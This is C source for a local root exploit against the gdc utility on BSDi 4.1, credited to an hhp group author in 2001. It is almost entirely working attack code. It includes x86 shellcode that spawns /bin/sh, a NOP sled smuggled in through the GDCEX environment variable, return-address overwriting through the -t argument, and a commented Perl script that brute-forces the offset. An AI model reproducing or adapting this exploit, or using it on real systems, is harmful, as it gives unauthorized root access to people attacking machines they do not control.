/*********************************************************************
 * (gdc) Local root[uid=0] exploit tested on BSDi 4.1 - x86.         *
 * "Requires access to group=(wheel)"                                *
 * Author: Cody Tubbs (loophole of hhp).                             *
 * Site:   http://www.hhp-programming.net/                           *
 * Email:  pigspigs@yahoo.com                                        *
 * Date:   2/23/2001 12:52:10 PST                                    *
 * Bug found by: skeptik. (One of my roomates).                      *
 *********************************************************************/

/* ------------- hhp-offset_bruteforce.pl ---------------
#!/usr/bin/perl
#Standard offset/align brute.
if(@ARGV < 3){
 print "Usage: $0 <start> <stop> <align>\n";
 print "Examp: $0 -10000 0 0\n";
 print "Notes: align = 0 through 3\n";
 exit(0);
}

($start, $stop, $align) = @ARGV;
for(;$start<=$stop;$start+=4){
 system "./x $start $align";
}
**********************************************/

#include <stdio.h>

#define PATH   "/usr/contrib/bin/gdc" // Change if needed.
#define OFFSET -4000                  // Worked for me, brute if fails.
#define ALLIGN 0                      // Shouldn't need to be change.
#define NOP    0x90                   // x86.
#define DBUF   1024 //987+4(EIP).

static char shellcode[] = // BSDi (Replace with setuid, etc code).
 "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
 "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
 "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
 "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
 "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
 "\x02\x02\x02/bin/sh.-c.sh\x69";

long get_sp(void){
 __asm__("movl %esp,%eax");
}

void workit(char *heh){
fprintf(stderr, "(gdc) local root[uid=0] exploit (tested on BSDi 4.1 - x86).\n");
fprintf(stderr, "Author: Cody Tubbs (loophole of hhp).\n");
fprintf(stderr, "Bug by: skeptik <skeptik@hushmail.com>.\n");
fprintf(stderr, "Usage: %s [offset] [allign(0..3)]\n", heh);
}

int main(int argc, char **argv){
 char eipeip[DBUF], buffer[4096], heh[DBUF+1];
 int i, offset, gid, allign;
 long address;

 workit(argv[0]);

 if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;}
 if(argc>2){allign=atoi(argv[2]);}else{allign=ALLIGN;}

 address=get_sp()-offset;

 if(allign>0){
  for(i=0;i<allign;i++){
   eipeip[i]=0x69; //0x69(tm) HEH.
  }
}

 for(i=allign;i<DBUF;i+=4){
  *(long *)&eipeip[i]=address;
 }

 for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
  buffer[i]=NOP;
 }

 memcpy(buffer+i,shellcode,strlen(shellcode));
 memcpy(buffer,"GDCEX=",6);
 putenv(buffer);
 fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address,offset,allign);
 execlp(PATH, "gdc", "-t", eipeip, 0);
}
/*                   www.hack.co.za  [5 March 2001]*/